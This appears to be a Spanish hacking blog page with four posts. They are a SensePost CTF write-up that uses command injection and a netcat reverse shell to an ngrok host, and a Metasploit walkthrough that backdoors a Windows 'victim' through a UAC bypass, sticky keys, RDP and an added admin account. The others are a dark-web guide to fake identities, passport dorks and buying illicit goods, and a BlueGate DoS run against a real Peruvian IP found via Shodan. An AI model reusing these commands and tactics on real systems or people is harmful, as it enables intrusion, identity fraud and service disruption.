jueves, 14 de mayo de 2020

Resolviendo Writeup de SensePost - Team Offsec Perú



Hola estimados lectores, en esta oportunidad vamos a mostrar como el grupo de telegram OffSec Perú resolvió un CTF mundial que lanzo la organización "SensePost" el 27 de abril del presente año.

"SensePost es el brazo de consultoría de élite independiente de SecureData, reconocido por su experiencia y trayectoria de 20 años de innovación en la vanguardia de la ciberseguridad."
Más información:


Este reto consta de 4 banderas que debemos obtener por diferentes niveles y mecanismos.

Sitio web del reto:
(14/05/2020 la web por alguna razón esta fuera de servicio)

¿Como supimos de este reto?



El 1 de mayo el Walter lanza un reto al grupo de telegram, en el cual varios integrantes empezamos a resolverlo juntos.

  • Paso 1 recopilación de información

Los archivos *.html podríamos ingresar por defecto al iniciar consecutivamente los retos.



En este punto debíamos pensar como en HTB "Algunas pistas estaban comentadas en el código fuente", dentro del código fuente se encontró una pista en la siguiente etiqueta.

 <h2 class="dw_launch_subeader >Tw0</h2>

Tw0 <------------- (Si el reto fuese peruano, creeríamos que es una palabra tipo Amixer xD)

Pero no este texto estaba en formato Camel-Case.
https://dencode.com/string

¿Qué es Camel-Case?

Es una convención de nomenclatura en la que cada palabra dentro de una palabra compuesta se escribe con mayúscula, excepto la primera palabra

En el cual encontramos la siguiente web!!

! Por mi parte yo saque ese nombre archivo por medio de Fuzzing!

Posteriormente se encontró la siguiente ruta.

https://challenge.sensepost.ninja/256.html

En ese momento todo el equipo pensó que era una pista que significaria que el acceso al sistema lo podríamos hacer por SSH aprovechando una vulnerabilidad a nivel servicio o de usuario (Mala configuración de permisos de ejecución).

Desde este punto.............


Paso 2  Escaneo 

En el fuzzing encontramos un ruta logout.php, que nos redirigía a quinque.php.
https://challenge.sensepost.ninja/quinque.php 

"Encontramos una pista comentada en el código fuente"


En quinque.php teníamos una ruta de un archivo llamado "secrets.txt", que contenía la siguiente cadena.

pero no encontramos un panel de usuario en el sitio web, en este punto un colega del equipo menciono algo interesante "¿encontraron algo en las imagenes de los badge por steganography?" 

Efectivamente dio en el punto clave, dentro de la carpeta imagen "Se encontraron 4 archivos, entre ellos "top_secret.jpeg".

Efectivamente la contraseña "BbR4fZ6g" que encontramos en el archivo secrets.txt nos permitía acceder al flag numero 1.
  • steghide info top_secret.jpeg
  • steghide extract -sf top_secret.jpeg -xf pass.txt


Flag1: SP-d817d9ab83f0eca956c8921492bb1add

Añadimos el Flag en el formulario que estaba en quinque.php

Passed!, en este momento nos dirigió al siguiente 
https://challenge.sensepost.ninja/firstflag.php?file=completedHHF





  • Paso 3  Evaluación

firstflag.php?file= encontramos un Remote Command Execution(RCE) en el parametro get "file"

 ?php

$file=$_GET['file'] . ".html";
system("cat $file");
?


Un RCE permite ejecutar comandos del servidor afectado remotamente.






en ese momento empezó el verdadero desmadre xD

netcat estaba instalado en el servidor, una ventaja para conectarnos remotamente el sistema.

En este punto necesitabamos establecer una conexión WAN, para ello se requirió el uso de Ngrok(Opcional, si no deseas abrir tus puertos en tu router)


Esta herramienta permite establecer una tunelización de nuestra red con el servidor de ngrok para recibir peticiones de entrada a nivel WAN.

  • ./ngrok tcp 9999
  • https://challenge.sensepost.ninja/firstflag.php?file=completedHHF;nc 0.tcp.ngrok.io 13439 -e /bin/bash;

Ejecutamos la conexión en netcat desde el parámetro get afectado con RCE!

Boom tenemos acceso al sistema, en este punto ya no tome capturas porque no pensaba realizar un articulo sobre este CTF.

Aqui encontramos el segundo flag !

https://challenge.sensepost.ninja/firstflag.php?file=|cat ../flag2.txt

  • ls -la 
  • cat flag2.txt

Flag2: SP-4aa672bd2e735cc7a314019f4d11bcae

Desde este punto, vamos aplicar algunos comandos para recopilar archivos o procesos con permisos de usuario.

El usuario actual es www-data, necesitamos ser usuario root para conseguir privilegios y leer los 2 flags restantes.

Pero antes!
  • python -c 'import pty; pty.spawn("/bin/bash")'
El módulo pty permite realizar operaciones para manejar la terminal este nos permitiria iniciar otro proceso, escribir, leer y sobre escribir.

Nos permitirá abrir una terminal bash.
  • find / -perm -u=s -type f 2>/dev/null
Haciendo un reconocimiento del host buscando archivos, procesos en ejecucion, conexiones establecidas, configuraciones, etc., se puedo apreciar mediante netstat que se tenia muchas conexiones de entrada debido a que muchos estaban participando, pero, no se encontro un servidor o un proceso que lleve a pensar que seria el origen de otro flag. Sin embargo, se tenia la pista de uno de los flags mencionando a Redis

En este momento no existía nada en la conexión local, uno de los integrantes realizo un escaneo con nmap.

  • ip a | grep "eth0"
  • nmap 192.168.32.1/24

Se encontró un hostname "redis-server.internal" 
Se procedio a realizar un descubrimiento de hosts en la red y se encontro el 192.168.32.3 con el puerto 6379
  • redis-cli -h 192.168.32.3

Ahora solo nos queda ejecutar las lineas de comandos de redis para verificar el flag.

Efectivamente encontramos claves en la base de datos, para dumpearlas tuvimos que utilizar el comando GET dentro de redis.

  • KEYS *
Muestra todas las keys y ahi sale flag3
  • get flag3
  • get notas

Flag3: SP-d5d8f27b7d7ddb7c925ad6b74a40b7e5

Ahora solo nos quedaba el ultimo flag!, este fue el mas sencillo  simplemente listamos que archivo esta usando el usuario root !
  • sudo -l
Matching Defaults entries for www-data on ebe6a4fbcfa8
:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/

User www-data my run the following commands on ebe6a4fbcfa8:
(root) NOPASSWD: /usr/bin/vim


Abrimos una terminal en bash mediante vim y tendremos acceso root (ya que no requiere una contraseña) y buscamos nuestra flag4.txt
  • sudo vim -c '!sh'
  • find -name "flag4.txt"

Flag4: SP-825b4db3b321b46add5e88c4c007cd73

PASSED!!!
  • Paso 4: Analisis / Reporte(Screenshots)
Once you’ve completed the challenge, email us with the flag/s and screenshots of your victory. Please include your name/handle for our scoreboard. The scoreboard will include a first blood as well as a fastest time to complete the section. Because of the timing element we would appreciate it if you sent us your flags as you collect them.
 
-------------------------------------------------------------------------------------------------------------------------------
Realidad: el paso 3 se hizo al ultimo!! jajajajajaja

El primero en obtener root fue Luis Morales.

Posdata: si existe un hater por ahí.... podríamos a ver hecho primero eso:
  • sudo -l
  • sudo vim -c '!sh'
  • find -name "flag*.txt"

Saludos de parte de todo el team Offsec Perú !


domingo, 2 de febrero de 2020

Explotando Windows 7 con Sticky Keys & RDP en Metasploit


Hola estimados lectores, espero este mes de febrero sea de muchos éxitos para cada uno de ustedes.

En esta oportunidad vamos a utilizar un modulo de msfconsole llamado "sticky_keyspara obtener una terminal CMD mediante pulsaciones con una tecla especifica y habilitar la conexión remota de escritorio por medio del servicio RDP.

¿Que es Sticky Keys?
Es una función de Windows que permite realizar algunos atajos de teclas para ayudar a los usuarios con discapacidades o ayudar a reducir las lesiones por esfuerzo repetitivo.

Requisitos:
  • Tener una sesión meterpreter
  • Escalar privilegios administrativos 
Si deseas aprender metasploit framework puedes visitar todos mis articulos relacionados.

https://www.backtrack-omar.com/search?q=metasploit
  
Debemos tener en primer instancia una sesión meterpreter activa y escalavar privilegios administrativos para poder enviar este exploit de manera efectiva.

Observación:  debes crear un payload y envialo a tu victima para obtener una sesión meterpreter.

Conexión de escucha
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.150
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j


Bypass UAC
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac
msf5 exploit(windows/local/bypassuac) > set session 1
msf5 exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac) > set lhost 192.168.0.150
msf5 exploit(windows/local/bypassuac) > set lport 9997
msf5 exploit(windows/local/bypassuac) > exploit -j



Posteriormente tuvimos una nueva sesión meterpreter con permisos administrativos, ahora jecutaremos el exploit enable_rdp para habilitar la la configuración dentro de los registros de windows.

msf5 exploit(windows/local/bypassuac) >  use post/windows/manage/enable_rdp
msf5 post(windows/manage/enable_rdp) > set session 2
msf5 post(windows/manage/enable_rdp) > exploit






Registros: 

reg setval -k 'HKLM\System\CurrentControlSet\Control\Terminal Server' -v 'fDenyTSConnections' -d "1"
execute -H -f cmd.exe -a "/c sc config termservice start= disabled"
execute -H -f cmd.exe -a "/c sc stop termservice"
execute -H -f cmd.exe -a "/c 'netsh firewall set service type = remotedesktop mode = enable'"



Ahora ejecutaremos el exploit  sticky_keys para reemplazar el nombre del  archivo nativo sethc.exe  & utilman.exe por (CMD)

msf5 post(windows/manage/enable_rdp) > use post/windows/manage/sticky_keys
msf5 post(windows/manage/sticky_keys) > set session 2
msf5 post(windows/manage/sticky_keys) > exploit





[+] Session has administrative rights, proceeding.
[+] 'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing SHIFT 5 times.

Ahora podemos abrir una ventada de CMD presionando 5 veces la tecla SHIFT, para conectarnos al escritorio de nuestra victima remotamente utilizaremos rdesktop.

root@kali:~# rdesktop -g 900x600 -u W 192.168.0.172
(observación la opción -u es el nombre de usuario no es necesario ponerlo para ejecutar la ventana de CMD)

Opcional
Si deseas obtener la clave en texto plano de tu victima, te invito a leer este articulo.

https://www.backtrack-omar.com/2015/10/lazagne-la-nueva-herramienta-de-dumpeo.html
presionamos 5 veces la tecla SHIFT.
Te preguntaras, pero si esto lo puedo hacer con el comando shell de meterpreter, pues espera falta algo mas ;)

Creamos un usuario y le asignaremos su cotraseña con los permisos de administrador y nos conectamos ;)

Tendremos acceso para controlar el sistema de manera remota, si deseas conectarte por medio de rdesktop con las credenciales del usuario creado, ejecuta lo siguiente en tu terminal.

root@kali:~# rdesktop -g 900x600 -u W 192.168.0.172 -p contraseña123

 Saludos !!!

domingo, 26 de enero de 2020

Darkmarket - El mercado negro de la ciberdelincuencia


Hola, estimados lectores en esta oportunidad vamos hablar de un tema bastante llamativo "Dark Market" que es el mercado negro en servidores .ONION donde podemos encontrar desde servicios de hacking,venta de drogas,armas, etc.

Estos mercados lo podemos encontrar de manera virtual o física, en Perú estos son unos de los mercados negros existentes.

Es negocio redondo de ventas de base de datos se ha  vuelto muy comercial en estos últimos años, latino América se esta incorporando la venta de información sensible en portales y sitios específicos.

En mi país se han liberado varios Leaks de base de datos de  manera publica por grupos de hackivistas o vendidos en el mercado negro.

Millones de datos fueron liberados en el año 2015 de una entidad gubernamental, una persona mal intencionada podría convertir ese documento de 2.5GB de texto plano a un tipo de formato SQL (ETL) y crear una herramienta que podría obtener datos de cualquiera persona mediantes consultas.



En latinoamérica existen muchos colectivos que ejercen este tipo de negocios, no los mencionara no por miedo, simplemente no me gusta dar luz a otras personas :)




En fin, hace años encontré una vulnerabilidad de un banco X (que por cierto reporte la vulnerabilidad y fue reparada por los administradores), pero conversando con un buen amigo de años me comento, el porque no venderla en el mercado negro.

PoC Banco:



Se podrían imaginar cuantos robos se hubieran cometido si otra persona no ética hubiera encontrado la falla antes que yo?

En estos años también recuerdo que un amigo mio me comento de un objetivo que le habían "Pagado" para que accediera al portal de una entidad militar X y obtuviera información relevante.

Elaborar el Pentesting fue demasiado fácil, pero solo hice pruebas más no me aproveche de la información o se la entregue a mi amigo.




En consecuente, tengo muchas anectodas de amigos que no tengo comunicación con ellos hace muchos años pero quizás sigan trabajando de esa manera.
Moraleja, no  todo estos tipos de negocios de hacen ocultos en la red profunda :)

Ahora si empecemos a entrar algunos portales .ONION para conocer más este tipo de negocio.

Durante tu estadía en la dark web en negociaciones debes tener en cuenta ciertas cosas importantes:

    1) Investigar bien las fuentes para verificar que es un negocio real y no una estafa digital.

    2) Establecer el mayor anonimato posible no se te pedirá (Identificación, Correo Personal).

    3) Crear una identidad (Nombre Falso, Nombre De Usuario, Correo Falso) y sobre todo que tu contraseña no sea la misma que la de tu correo personal

    4) tomar medidas de anonimato usando proxy o simplemente usar TOR.

    5) No todos los sitios de la dark web son considerados .onion existen foros públicos donde pueden vender información secreta y confidencial.

    6) lo único que integra la dark web en .onion a sitios .com es que estos no te piden “Identificacion y detalles personales” en cuanto compras de armas y droga en linea.

C​reando una falsa identidad:

Existen​ muchas maneras de comprar una identidad o crear por tu cuenta una ante que todo deberías tener en cuenta de dispone las plantillas que corresponden a cada pasaporte de cada uno de los países donde quieras integrar tu nueva identidad.

la existencia de sitios webs públicos y visibles ante los buscadores se da a conocer fácilmente tan fácil como solicitar el diseño de 10 pasaportes falsos de distintas nacionalidades pues es fácil de adaptarse a la compra y venta sitios como besstdoc24hrs.com y usuarios en foros se especializan por lo tanto me ha llamado la atención sobre cuánto podría ser la ganancia de un falsificador de pasaportes en línea.

C​rear una identidad falsa en línea:

Se ha requerido mucho el uso de herramientas que permitan establecer todas las funciones en tan solo un simple formulario que pueda involucrar información personal entre ellos:

    • SSN falso

    • Nombres , Teléfonos , Dirección, Seguros


por ello existe un sitio web llamado fakenamegenerator.com que permite realizar dicha funcion y que con facilidad permite generar una identidad falsa con una facilidad que cualquiera podría realizar.


Buscar Passports Con Motores De Búsqueda:

Puedes usar las dorks que corresponden para ubicar directorios que te permitan visualizar los pasaports mal almacenados en un servidor mal configurado como el apache.


utilizan dorks sencillas y básicas se comprende cómo nos puede facilitar la búsqueda.


    • inurl:wp-content/uploads/ passport .jpg

    • Para Sitios Basados en el directorio uplaods de Wordpress

    • intitle:Index of / passport .pdf

    • Para Ubicar Cualquier Directorio Con El Pasaporte Adjuntado En Un PDF también puede variar como en formatos “JPG/PNG”

Continuando con nuestra incorporación a una identidad falsas es obvio que requerimos plantillas de pasaporte de diferentes países para generar una identidad falsa luego darla por impresa y darle uso físico o virtual tanto para realizar pagos en línea sobre sitios webs públicos pero nunca ser usado en la dark web.

tomaremos en cuenta un listado de alternativos como son el uso de correos basados en anonimato y cifrado de mensajes.

1 - Protonmail:
protonmail.com - Todo el USP de Protonmail.com es proteger su privacidad a través de sofisticadas técnicas de encriptación. Cuando te registres, no exigirán una gran cantidad de información de verificación. Todo lo que necesita para proporcionar es un nombre de usuario y una contraseña. Y no ofrecerán extras adicionales, solo un simple cliente de correo electrónico para enviar correo cifrado de forma segura.

Otros proveedores de emails:
  • Tutanota
  • LavaBit
  • Hushmail
  • Canary Mail
Mecanismos de pagos en la Dark Web:

La criptomoneda es una de las maneras de pago en la dark web pero no cualquiera criptomoneda pues conoce a las 02 más populares en la dark web y aca unas de ellas:

    • bitcoin

    • Ethereum

Pagos Exitosos:

  • bitcoin
  • dinero físico presencial
¿Comprar Bitcoin?

Los sitios populares para comprar bitcoin aunque con comisiones son aquellos como virwox y unos que otros sin comisiones es el localbitcoin y al menos con comisión de un dólar por transacción coinbase.

    • virwox (Comisión Por conversión desde 10$ a 6$ dólares)

    • localbitcoin ( Comisión 0 )

    • coinbase (Comisión 0,0001378 por transacción)


¿ Por Qué La Venta De Armas En La Dark Web?






Se han creado dominios onion para la venta de armamentos desde ventas de altos calibres como incluso manuales de explosivos también armas diseñadas por el mismo usuario es decir fabricadas en casa en la dark web está no llegan a domicilio tampoco te gestionan un ticket para ir a retirarlo en una tienda por que como sabemos requieres de una licencia y tu identificación para los vendedores de armas que una vez fueron legales han notado que sus ventas han bajado de lo contrario en la venta ilegal de armas por medio de sitios webs existen tres mecanismos de ganancia:

1 - Por comision de compra y publicación

2 - Pagos para encabezar su producto

3 - Ventas sin ninguna restricción y en completo anonimato

exclusivamente en el sitio de ventas de armas no suele ser una tienda oficial por lo tanto solo te comunican con el vendedor del armamento para aclarar un punto de encuentro y conseguir el armamento por lo general el que requiere urgentemente el armamento suelen ser individuos que han sido arrestados o integrantes en carteles y mafias.

los pagos se realizan en efectivo en un punto de encuentro y unas que otras plataformas solo aceptan bitcoin para evitar que se divulgue información personal bancaria. 


https://bit.ly/2TZxpi8


Navegadores de busqueda:


AHMIA

http://msydqstlz2kzerdg.onion/
Not Evil



si empezamos a navegar y buscar algunas paginas de nuestro interes , en mi caso un SHOP DE CC'S llamado "UnderMarket 2.0"




Portales de ventas de sustancias prohibidas.


Foro de UFO

























Podemos encontrar mas servicios hasta documentos del gobierno EE.UU, entre demás países.

Les dejare el portal TorLinks para que puedan familiarizar con varias categorias de servicios onion.





Tambien podemos encontrar las famosas ventas de base de datos y documentos sensibles de organizaciones a nivel mundial.




Descarga de base de dato Turkish:



¿Deseas crear un servidor ONION?



¿Deseas aprender a utilizar Tor?



Servicios de Anonimato



Saludos a mi buen amigo Kelvin Parra de venezuela, entre 2 compartimos este articulo para ustedes.
Si desean visitar a kelvin puedes seguirlo en sus redes sociales:


Saludos, desde Peru y Venezuela.

Exploiting CVE-2020-0609 & CVE-2020-0610 - PoC DoS

Hola estimados fieles lectores, en esta oportunidad tocaremos las nuevas vulnerabilidades encontradas en el sistema operativo Windows el 14 de enero de este año 2020.

CVE-2020-0609 & CVE-2020-0610

Estas 2 vulneabilidades permiten ejecutar codigo de manera remota en el servicio de Windows Remote Control Gateway (RD Gateway), este tipo de ataque permite que el hacker se pueda conectar al servidor RDP sin autentificación enviando  código remotos al sistema operativo(0x00 - 0xFFFF) 
Los datos a escribir también son arbitrarios con una longitud de hasta 1000 bytes a la vez y un máximo de 4096 durante una sesión.

RD Gateway Actúa como un proxy RDP entre alguno servidores internos de red.
Este servicio UDP lo puedes identificar con el N. 3391 por defecto.

Pueden utilizar SHODAN para encontrar algunos servicios vulnerables y poder auditarlo con una herramienta de análisis de vulnerabilidades para las versiones de CVE.

Versiones vulnerables:
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016
    Windows Server 2019
https://beta.shodan.io/search?query=port%3A3391+


Tenemos aproximadamente 19,116 objetivos encontrados que podemos testear para nuestra prueba de concepto.

https://beta.shodan.io/search?query=port%3A3391+country%3A%22PE%22

En mi caso yo elaborare el testing con algunos servicios de Perú.

Exploit BlueGate fue creado por Marcus Hutchins, esta herramienta permite analizar un objetivo y testear si es vulnerable, también tiene un modulo de ataque de DoS para dejar fuera de servicio el protocolo RD Gateway.

 A simple vista podemos ver que esta herramienta ejecuta comandos arbitarios del sistema y la conexión SSL para el cifrado de paquetes.

root@kali:~/Exploits/CVE-2020-0609-CVE-2020-0610/BlueGate# python3 BlueGate.py -M check -P 3391 190.40.170.19

root@kali:~/Exploits/CVE-2020-0609-CVE-2020-0610/BlueGate# python3 BlueGate.py -M dos -P 3391 190.40.170.19
[*] Sending DoS packets to 190.40.170.19...

Les adjunto el exploit en Github si desean realizas sus pruebas de concepto.
https://github.com/ollypwn/BlueGate


Elaborando un mapeo de peticiones con Wireshark podemos ver como las peticiones pasan cifradas y los tipos de respuesta son aceptados por sitio web dando como resultado un envio de paquetes de manera masiva.

1000, b"\x41"*1000

Tambien nos arroja el numero de HOST del sistema operativo del servidor vulnerable:

WIN-H7M6A4JVDR3

Según fuentes oficiales de Microsoft ya se estan desarrollando exploit que puedan permitir acceder a los sistemas operativos por envios de Payloads en los buffer de la memoria interna, como lo fue eternalblue.

Para evitar ser victimas de este ataque remoto, deben bloquear el puerto UDP 3391, en las propiedades de su equipo de servicios.


Mientars tanto microsoft ya lanzo al publico información respecto a la vulnerabilidad en su portal sin embargo todavia no parece encontrar una forma de mitigar esta vulnerabilidad critica.

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0609

Recomendación denegar puertos específicos para no permitir conexiones remotas maliciosas, activar tu firewall de tu Router, actualizar los paquetes del sistema operativo y como siempre elaborar backup ante cualquier amenaza de malware que se presente.

También no se olviden de utilizar un IDS, IPS o un DMZ para denegar este tipo de conexion remotas.

Si estas tus pininos como sysadmin te recomiendo descargar y comprarte el firewall GlassWire, para que ganes un poco de experiencia en firewalls a nivel de aplicativos de escritorio.

https://www.glasswire.com/

Saludos.

Datos del Autor

Estudiante de Ingeniería de computación y sistemas en Perú.
actualmente me estoy dedicando a dar ponencias sobre seguridad Informática.
Soy una persona sencilla y humilde que me encanta aprender nuevos temas en mis tiempos libres.

"Me considero un novato en busca de conocimiento"


Entradas Populares